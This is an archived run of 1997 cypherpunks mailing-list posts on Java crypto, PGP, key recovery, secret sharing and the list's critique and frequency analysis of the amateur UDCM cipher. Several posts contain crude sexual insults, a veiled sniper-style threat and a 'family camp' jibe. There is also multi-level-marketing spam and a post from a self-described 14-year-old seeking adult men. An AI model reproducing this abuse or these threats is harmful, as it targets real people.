Message-ID: <v03007809aefb9d3661b8@[206.214.106.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:15 PM -0800 1/9/97, Hal Finney wrote:
>I suspect that Java, when it gets its security API, may be a good
>candidate for this kind of system.  It's already got high level socket
>I/O, and with a bignum package and some basic crypto primitives like
>one way functions, you could do a lot with it.  You still have the
>problem of trading off safety for utility, though.

More of security API has hit the web site.  Java 1.1 has some crypto
primitives (exportable).  I also think it has a bignum package (but I am
not in a good position to check right now).  Info and download a few links
away from <http://java.sun.com>.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 9 Jan 1997 20:22:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] e$
In-Reply-To: <199701100204.VAA15540@dhp.com>
Message-ID: <v0300784daefb73d5bc74@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:04 pm -0500 1/9/97, Anonymous wrote:
>Tim C. Mayo's 16Kb brain's single convolution is directly
>wired to his rectum for input and his T1 mouth for output.
>That's 16K bits, not bytes. Anal intercourse has caused
>extensive brain damage.

Hey, buddy? I don't know if you can see it or not, but there's this little
red spot on your head. It's just about where your medulla oblongata meets
your spinal cord...



Just waiting for Sandy to pull the trigger,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Fri, 10 Jan 1997 00:04:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701100724.XAA08921@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



  A beta implementation Ver:1.0 (for Win95/NT) of the
  CDSA API's has been posted to the web yesterday
  for free download.

  You can find it at www.intel.com/ial/security

  The implementation will timeout on Feb 28, 1997 and
  is non-exportable. Any feedback/comments on the
  implementation would be appreciated.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 21:48:33 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <Pine.SUN.3.94.970109181157.707C-100000@polaris>
Message-ID: <32D5EFFB.22E8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> To wit: "I suggest zero tolerance of Black Unicorn unless and until
> someone reveals his real name."

  His (or her) name is Black Unicorn.
  Do you have a reading problem?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 20:32:50 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Problems with UDCM V2.0?
In-Reply-To: <970109184751_1157614624@emout05.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970109233007.5558D-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:

> 
> If you are even having the slightest problem with UDCM, do not hesitate to
> send us a message at: DataETRsch@aol.com. 

I am having trouble finding the complete source code and abstract to same.
Could you forward it here please?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Burrell <jburrell@crl.crl.com>
Date: Thu, 9 Jan 1997 21:35:33 -0800 (PST)
To: Derek Atkins <warlord@MIT.EDU>
Subject: Re: Why are 1024 bit keys the limit right now?
In-Reply-To: <sjmloa3yiif.fsf@bart-savagewood.mit.edu>
Message-ID: <Pine.LNX.3.95.970109233335.440A-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


On 8 Jan 1997, Derek Atkins wrote:

> There is no PGP 2.6.3; at least not that came from MIT... Someone
> else may have made something claiming to be 2.6.3, but it did not
> originate from MIT.

There is a pgp 2.6.3i. Apparently, it's another "international" version. I
believe it's on one of the usual sites, but I don't know what's changed in
it.


--
Good government. Good government. Sit. Stay.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 9 Jan 1997 23:36:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] e$
In-Reply-To: <v0300784daefb73d5bc74@[139.167.130.248]>
Message-ID: <32D5F10D.4D73@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> At 9:04 pm -0500 1/9/97, Anonymous wrote:[Timmy is a.....]

> Hey, buddy? I don't know if you can see it or not, but there's this little
> red spot on your head. It's just about where your medulla oblongata meets
> your spinal cord...
> Just waiting for Sandy to pull the trigger,

Just waiting for Sandy....  Yeah, sure.  You'll be waiting for Sandy
to come get you and your pals out of the "family camp" they're
preparing for you and your kind.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 9 Jan 1997 21:19:52 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <970109181113_1044501439@emout15.mail.aol.com>
Message-ID: <199701100535.XAA00734@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> {Please read this *entire* e-mail message.}
> Hi,
> this mailing list within a few days. An end-user application will be released
> within a few weeks. I would appreciate it if all you cypherpunks out there
> review the description and the software, and tell me what you think of IMDMP.

     I think I can speak for all of us when I say we are waiting with baited 
breath. 

     Yes, Virginia, that _is_ sarcasm. 

> Also: The AOL web site address my company has may not always work out when
> the server is having problems or user overloads. Please try again later.
> Again, the web site address for UDCM, Universal Data Cryptography Module, is:
> http://members.aol.com/DataETRsch/udcm.html.

     For $100 up front, and about $40 a month you can get a real domain name
and virtual domain that doesn't have a problem with "user overloads". If 
you are so high tech, why are you using AOL for a WEB SERVER? (this is a 
seperate issue from using it for _access_)

> IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
> Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
> yes, many algorithms do *not* have multiple encryption layers, although,
> obviously, the more advanced ones do. Also, 256 bytes is equal to 2048 bits.
> I realize that most of you out there know that, but some of you don't. "Bits"
> are referenced more often than "bytes". And, the "industry standard" that
> IMDMP is obviously well above is DES, etc. Also, DES 128, PGP 1024, RSA 128,

     With certain versions of PGP (or rather with non-us versions of certain
libraries used by PGP) you can get much larger keys than 1024. In fact with 
2.62 you can (IIRC) do 2048.

> IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file
> full of about 64 *million* repeating "A" ASCII character bytes. The mutation

     

> levels the algorithms rendered on their individual trash test files were
> compared. Subtle patterns where searched for. Binary character tallys where
> taken. IMDMP did *not* leave *any* repeating patterns in the test file that
> was used. In IMDMP, each of the 256 possible binary character combinations
> had an approximate count of  0.390625% of all of the 64 million bytes.
>  0.390625% is the best possible percentage. Are all of you out there
> satisfied?

     Well, just for fun, I wrote a short C program that wrote a file of 
64,000,000 A's, and ran it thru PGP with a key size of 1024, and grabbed the
pre-ascii armor version of it. I looked thru it, and no obvious patterns 
were there.

    PGP must use a pretty good compression algorythm(sp?) since the gzip of
the A's file is only about 13 bytes longer than the gzip version. A second 
pass of gzip gives me a file of 289 bytes.

    In fact, I would doubt that any half way decent encryption program _would
show repeating worth a damn, compression should take care of most of the 
*obvious* patterns in normal text. 2 or more passes should handle anything
deliberately (or naturally) pattern heavy. 

    So no. I am not impressed. Post the code, pay OUTSIDERS to look at your
code. Get it banned by the NSA, _then_ I'll be impressed.  
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 9 Jan 1997 23:47:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: One-time pads
Message-ID: <199701100747.XAA27657@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May is widely recognized on the net, 
because of his frequent vitriolic postings, as 
someone/thing ready to cut off his own penis to 
spite the testicles, although his friends 
recognize him better from the rear.

              0
            //\/ Timmy May
           \/\
         ... /





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 21:08:09 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <970109181113_1044501439@emout15.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970109235122.5558E-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:

> Date: Thu, 9 Jan 1997 18:11:18 -0500 (EST)
> From: DataETRsch@aol.com
> To: cypherpunks@toad.com
> Subject: IMPORTANT: Additional information about UDCM.
> 
> {Please read this *entire* e-mail message.}
> 
> Hi,
> 
> A detailed description of the IMDMP encryption algorithm will be posted to
> this mailing list within a few days. An end-user application will be released
> within a few weeks. I would appreciate it if all you cypherpunks out there
> review the description and the software, and tell me what you think of IMDMP.

This entire thread makes me want to suggest a set of guidelines for people
who are going to try and submit untested crypto software to the list so we
don't have to do this every 2 weeks.

In any event this is a good start.

[...]

> IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
> Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
> yes, many algorithms do *not* have multiple encryption layers, although,
> obviously, the more advanced ones do. Also, 256 bytes is equal to 2048 bits.

I dont believe this is quite what you mean.
I think you are confusing two kinds of cyphers (public and otherwise) with
each other and attributing for the difference in key measurements
(actually caused by the different keyspace for prime number based
public key systems) by using bytes and bits.

This does not bode well for your crypto expertise, if in fact this is what
you are doing.

> I realize that most of you out there know that, but some of you don't. "Bits"
> are referenced more often than "bytes".

I dont really think anyone uses bytes to refer to key size, except perhaps
in Prime Number challenges (RSA-129).

> And, the "industry standard" that
> IMDMP is obviously well above is DES, etc.

How is this obvious?

> Also, DES 128,

I'm not sure DES 128 exists.

> PGP 1024, RSA 128,
> IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file
> full of about 64 *million* repeating "A" ASCII character bytes. The mutation
> levels the algorithms rendered on their individual trash test files were
> compared. Subtle patterns where searched for. Binary character tallys where
> taken. IMDMP did *not* leave *any* repeating patterns in the test file that
> was used. In IMDMP, each of the 256 possible binary character combinations
> had an approximate count of  0.390625% of all of the 64 million bytes.
>  0.390625% is the best possible percentage. Are all of you out there
> satisfied?

No.

A simple entropy test does not a cypher make.  I'd also like to know what
patterns were tested for as certainly I know of no test which can prove
that a given set of data does not have "*any* repeating patterns."
Entropy is subjective.  Perhaps it encodes stuff in Estonian.  There may
not be recognizeable patterns in english, but there certainly will be
patterns.  Perhaps its output exactly mimics the radiowave noise from
Alpha Centauri between 10pm and 10:00.0056pm January 1.  You can't show me
it doesn't, and if you could I could just invent a new pattern to get you
to test.  (How many angels....)

Can't prove a negative (there are no patterns in here).

Your cypher has obviously undergone a lot of work.  This too does not a
cypher make.  Nor does your hype.  That usually a cypher unmakes, in fact.

My suggestion:  Full disclosure on your cypher coupled with a reduction in
the sales and marketing rhetoric that we are getting from you.  (You might
try a non AOL address too, adds a bit more respectability).

> Jeremy K. Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank O'Dwyer" <fod@brd.ie>
Date: Thu, 9 Jan 1997 17:24:13 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES Challenge)
In-Reply-To: <199701092015.MAA00707@crypt.hfinney.com>
Message-ID: <199701100041.AAA11442@brd.ie>
MIME-Version: 1.0
Content-Type: text/plain



[...] 
> I suspect that Java, when it gets its security API, may be a good
> candidate for this kind of system.  It's already got high level socket
> I/O, and with a bignum package and some basic crypto primitives like
> one way functions, you could do a lot with it.  You still have the
> problem of trading off safety for utility, though.

I like Java too, however it is getting to be a systems programming
language.  In my experience people are irrationally scared of it, too
(while happily tapping their secrets into MS-word, of course :-)

What I have in mind is more obviously restricted, and more like a 
programmable calculator (with bignums and buttons marked "DES") - no
sockets, no files, no system calls, etc.  Just number-crunching.
 
I take the point about Safe-TCL, but there must be some way of doing
this in a way that enough people think it's safe to run. 

Cheers,
Frank O'Dwyer.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 10 Jan 1997 00:17:21 -0800 (PST)
To: Blake Coverett <blake@bcdev.com>
Subject: Re: Humor from the UDCM help file
In-Reply-To: <01BBFE71.053CC990@bcdev.com>
Message-ID: <32D6039B.35D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blake Coverett wrote:
> 
> The Exportation Restrictions section reads as follow:
> 
>     As of the release of UDCM V2.0, there are no absolutely no
>     United States exportation regulation laws that actually affect
>     the electronic Internet distribution of the IMDMP encryption
>     algorithm. Electronic distribution technically does not constitute
>     physical distribution. So because of that, it is perfectly legal for
>     UDCM V2.0 to be digitally distributed world-wide.> 

> Could someone please forward this to Dan Bernstein and
> Phil Karn, I'm sure they'll be happy to know that they can
> drop the law suits now.

  I got the same advice from my legal counsel (for a quart of Budwiser
and a pack of Camel straights).

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 9 Jan 1997 23:01:07 -0800 (PST)
To: Eric Murray <ericm@lne.com>
Subject: Re: Key Escrow Good, GAK Bad
In-Reply-To: <199701092357.PAA23840@slack.lne.com>
Message-ID: <199701100705.BAA18682@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701092357.PAA23840@slack.lne.com>, on 01/09/97 at 07:57 PM,
   Eric Murray <ericm@lne.com> said:


>Ken Kirksey writes:
>> 
>> >  To me, Key Recovery cryptography is like using a condom with a
>> >hole in it. No thanks.
>> 
>> I agree in principle, and I doubt I would ever use a key recovery system 
>> if I had a choice.  But, speaking as a network manager, I know that 
>> private key recovery (not GAK) can be an enhancement to security.  
>> 
>> I'll give an example.  About a year ago, my boss wanted to protect his 
>> file of annual financial projections for the company from prying eyes on 
>> our Macintosh network.  I installed CurveEncrypt on his machine, showed 
>> him how to use it, and gave him the standard lecture on choosing a good 
>> passphrase.  I stressed that he needed to chose a passphrase easy to 
>> remember, because if he forgot it, there was no way to get his file back.
>> 
>> Well, he forgot his passphrase.  He spent an hour trying every 
>> combination he could think of, interjecting a curse here and there for 
>> color.  He is now totally off using encryption to protect sensitive 
>> information.

>User education would be even easier than key escrow.  Your boss could
>have shared that passphrase with one or more other people, ideally the
>people who helped him make the report.  When you encrypt something
>that's vital to the company, you need to make sure that it can be
>gotten back.  In most companies, there's more than one person who
>is 'cleared' for even the more vital information.  The keys to
>those files should be shared amongst those people.

>Unfortunately, few encryption programs make this easy.  And even though
>you can do it in PGP by encrypting to multiple recipients, how many
>people think to do so?  I don't.  Most programs assume that there's one
>key that that's used to encrypt everything, hence one level of security-
>the highest.  But in a business situation you really need to be able to
>encrypt something with your key and your secretary's key, or the keys of
>all the board members, etc.

Would not this be the perfect senario for the implementation of Shamir's Secret Sharing?
Rather that having several people being able to access the data
independent of each other having a shared key where it requited say 3 out of
5 members to access the data?

That way a breach of security of one key does not result in a breach of security of all
data.

Are there any know implementations of this?

Thanks,



- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Air conditioned environment - Do not open Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtXo/49Co1n+aLhhAQEZ3QP7BSwuDC7OyXpNPGg8HtROkHkMTpIP6oBf
S/NvqazKt8PFsnmpY0m2aCaZzHUOSD5d42tOVxZr8xJK7ylm/DIbwACgRtGDL6yT
61RUn4c8kXoS8bKOCRWyQvcyZJWSy4ddcnTlj/y7zbmmKOqvxdWWf333+NvWsbG1
xpcsm6n7sy4=
=v0Q6
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 10 Jan 1997 00:19:01 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <Pine.LNX.3.95.970109205833.413A-100000@eclipse.voicenet.com>
Message-ID: <32D60910.5BB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:
> 
> > IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:

  The 'flames' used as examples seemed to me to be nothing more than
valid questions regarding the DataETR's claims for their software.

(Big Hint / Questions from conferences with the word 'punks' in the
name are not likely to be accompanied by bowing gestures and
exclaimations of amazement at unsubstantiated claims).

> >  0.390625% is the best possible percentage. Are all of you out there
> > satisfied?
> 
> Not especially.  I'd still be interested in the design criteria used to develop
> this algorithm.  Until you publish the full source and technical data, I will
> have to assume that the algorithm is insecure.

  Keep in mind that many CypherPunks dream in numbers.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 10 Jan 1997 01:33:16 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <3.0.32.19970110011150.00757b38@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:04 PM 1/9/97 -0500, Black Unicorn wrote:

>Go out to a law book store and take a look at the guideline book.  It's
>actually a lot of fun.  "Ok, say I killed my wife for her coke stash and
>recruited my brother to dump the body..."

The US Sentencing Commission and the guidelines are on the Web - see
<http://www.ussc.gov> for general Commission stuff, and
<http://www.ussc.gov/guide/guidetab.htm> for the 1995 manual (there have
been amendments, but this ought to be good enough for just goofing off).

I haven't seen the recent Supreme Court decision yet, but from the
description it sounds like they haven't done anything more than affirm what
the federal courts have been doing for some time now. In general, crimes or
bad acts which are used at sentencing must only be proved to a
preponderance standard, and the judge is the trier of fact. The use of
uncharged bad acts evidence is old news.

I wish I had some hope that recent trends eroding away vital constitutional
rights would be reversed - but being tough-on-crime is very popular. What
are we going to do when we no longer have even two useful Constitutional
rights to rub together? 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 9 Jan 1997 23:50:57 -0800 (PST)
To: mycroft@actrix.gen.nz (Paul Foley)
Subject: Re: encryption program
In-Reply-To: <199701100342.QAA20144@mycroft.actrix.gen.nz>
Message-ID: <199701100744.BAA07018@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Paul Foley wrote:
> 
> On Wed, 8 Jan 1997 19:32:20 -0600 (CST), Igor Chudov wrote:
> 
>    Cypherpunks, why don't we try to crack his encryption program? It seems
>    like a fun exercise.
> 
> Well, a few minutes looking at it turned up the following:
> 
> * Capitalisation and word lengths are retained in the ciphertext, so
>   there's no transposition involved (or he's being sneaky to make it
>   look that way :-) )

I also did a frequency analysis on letters of the ciphertext. Here's the
output of my frequency program: 

a:71 b:72 c:66 d:55 e:48 f:57 g:68 h:49 i:72 j:52 k:59 l:48 m:77 n:80
o:41 p:70 q:59 r:63 s:62 t:63 u:53 v:55 w:62 x:60 y:45 z:66

Min = 41, Max = 80, mean = 60.500000, std = 10.044899

16 letters' frequencies are within 50--70, 10 are out, which 
suggests that the distribution may not be "normal". For a normal the
proportion should be something like 84:16.

I also tried xoring the plaintext line with the ciphertext line, w/o
much enlightenment.

> * The two 'e's in the first word have different ciphertext equivalents,
>   so it's not a single-alphabet substitution

yes

> * The words "wjq nwcc" occur together twice, 300 characters apart,
>   the word "iyn" occurs three times, 375 and 300 characters apart,
>   the word "fhw" occurs twice, 1400 characters apart, and
>   the word "git" occurs twice, 500 characters apart.  This suggests
>   a repeating key of length 5 or 25 characters.

I also likes "follows": "vkbcjtp" note how ll gets translated to "bc".
That suggest that after some encryption of each letter from the plaintext
there is a consecutively increasing number added.


> * However, the letter 'r' in "Here" and "encryption" and the letters
>   'am' in "example" and "program" occur 25 characters apart and have
>   different ciphertext equivalents.  Possibly the key position is
>   being incremented when "encrypting" digits and other non-alphabetic
>   symbols, so my counts above (only letters) are wrong.

> Also, I suspect that in the following ciphertext, EJMDLH.WKN and
> ZFIYVZ.XGA are "CONFIG.SYS", KALMF is "FILES" and "ZPKQUST" is
> "BUFFERS".

agree, there is a lot of other similar stuff
 
>    ##>      Pbg qpypmjf EJMDLJ.WKN prbthucy hxzb tbcmsfs iyn bsfijsyey hdokz:
>    ##> 
>    ##>       KALMF=20
>    ##>       ZPKQUST=20
>    ##> 
>    ##>      Z ixyh ZFIYVZ.XGA crxg ckqm wam wjq nwcc qjt QMUSAXH dsi ei:
> 
> -- 
> Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred
> 
> 	   PGP key ID 0x1CA3386D available from keyservers
>     fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
> ----------------------------------------------------------------------
> Life is a POPULARITY CONTEST!  I'm REFRESHINGLY CANDID!!
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moesch@aol.com
Date: Thu, 9 Jan 1997 22:50:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Save & Earn $$$ On Long Distance!
Message-ID: <199701100650.BAA12991@newman.cris.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,


Hi,
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valuable time and effort into, then LOOK NO FURTHER...... 
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second billing! Excellent int'l Rates 
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4)   Total of 15% commissions through 5 levels!
5)   Additional services to be added soon 

For more info E-Mail me at Moesch@concentric.net. In the subject type "More".







                                      
 	 	             





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dozer@netwizards.net
Date: Fri, 10 Jan 1997 02:01:08 -0800 (PST)
To: jyu-ohjelmointi-cypherpunks@mail.uu.net
Subject: would you be my friend?
Message-ID: <5b540n$kmr@news1-alterdial.uu.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

I'm 14 years old and I think I may be a gay.  I'm looking for some support and friendship 
with a older male age 18-40.  Please email if you can help.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 10 Jan 1997 00:24:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Search for Remailer
Message-ID: <TCPSMTP.17.1.10.3.24.34.2780269260.1459029@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

It probably has been discussed before, but since the shutdown of
Penet and the re-design of c2.org, I am looking for a remailer, that
allows an reply adress.
Since it doesn't have to be high-security, the format of
My mailbox-->Remailer-->Recipient, and subsequently
Recipient-->Remailer-->My mailbox, would be enough.

Please copy replies to my private e-mail, for I am currently
not subscribed to CPs...

Thanks in advance for your help...

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/* Note: My old key (KeyID: B2728495) has been revoked.      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtXvzzltEBIEF0MBAQElkAf/X4cqUEzB573IHpEsiXhGUgXjD91B9y8d
3mcVvutblQrrkvMzdCjXA+0QPh6PSuVrDTKNR4qTfvzGSC6apxVwZRApd2bdYXKl
ZXL85kfxPXKAeQOidUqlhZmLVaT6x7HzELox7ovR+el4El2yb3LdWyeoK/xhlq6K
DSpOKJawhFlZv/5FzSyEoPDIztY8E7Xp74PCr7XWAclY0Xi/cS8H7WGGOskZOAme
AxsHB2PeR+0DLOE5zToABA/HDZuws4pnHB6NcR4jzi9lkp2FoHJxvpgZzTn55fNz
KnQpsvh3q/a1UUiWe0NUUEP0VjMtqyOm098UuhhN2gN1MDyaNT+q7A==
=oUW9
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Fri, 10 Jan 1997 07:23:03 -0800 (PST)
To: pgp-users@rivertown.net
Subject: Private Idaho source code now available
Message-ID: <3.0.32.19970110072140.00d1320c@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
and remailer utility, is now available.  This will be my last official
release of PI for the foreseeable future.

Due to other projects and new directions, I haven't been able to spend as
much time as I'd like coding and supporting Private Idaho.  Instead of
seeing it die on the vine, I've decided to release the source code under
the GNU General Public License (export disclaimer - the sources do not
include, or have ever contained, cryptographic algorithms).

I'm hoping one or more, like-minded, privacy-oriented developer(s) will
step forward to continue with PI's evolution.  There's a lot of
functionality in the application right now, but there are still some
enhancements to be made (localized and 32-bit versions, some more minor bug
fixs, etc.).

I'll still be maintaining the Private Idaho Web page, and if new versions
do appear, they'll be distributed there.
 
See http://www.eskimo.com/~joelm/pi.html for complete details on getting
the sources.

Thanks for all the support and feedback you've provided over the past
several years.

Joel





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 04:52:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <Pine.SUN.3.94.970109181157.707C-100000@polaris>
Message-ID: <ZBFB1D46w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> writes:

> On Thu, 9 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > "William H. Geiger III" <whgiii@amaranth.com> writes:
> >
> > > Well I guess I will not need to worry about them since I will never run a
> > > reguardless how may laws the jackboots in DC pass.
> >
> > That's from the same guy who endorses censorship on this mailing list...
>
> Wait a second, isn't that what you were just calling for in my case?
>
> To wit: "I suggest zero tolerance of Black Unicorn unless and until
> someone reveals his real name."

Not quite.

          No censorship
          is better than
          consistent censorship
          is which is better than
          arbitrary censorship.

*IF* this list is to be moderated, then Unicorn and Plucky Green have
to banned from it - unless their real names are revealed.

> For the guy who has been screaming his head off about censorship to the
> point of nausea you were sure quick to turn your coat in my case.  That
> more than anything else you have ever said puts the cap on your
> credibility as far as I'm concerned.

OK, let's guess one letter at a time. Does your last name start with 'M'?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 10 Jan 1997 04:50:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation and the Polymorphic Virus
In-Reply-To: <970109.155557.4E2.rnr.w165w@sendai.scytale.com>
Message-ID: <NgFB1D47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


roy@sendai.scytale.com (Roy M. Silvernail) writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> In list.cypherpunks, serw30@laf.cioe.com writes:
>
> > Dr.Dimitri Vulis KOTM writes:
> >> "Cypher punks" can't write any code - be it mail filters, viruses, or
> > crypto.
> >>
> > Aw,  surely "Cypher punks" can write some sort of code.
>
> I'm a cypherpunk.  Just for the record, I wrote the code that Vulis
> himself uses to process his UUCP traffic.
> - --
> Roy M. Silvernail                             roy@scytale.com
>               Keeping Waffle Irons hot since 1989
>            Run Waffle?  Rnews locking up?  You need RUUXQT!
> echo /get /pub/waffle/uuxqt37.zip | rmail file-request@scytale.com

*IF* you write code (as opposed to putting your name on someone else's
code) then you're not a "cypher punk".

---

Dr.Dimitri Vulis KOTM
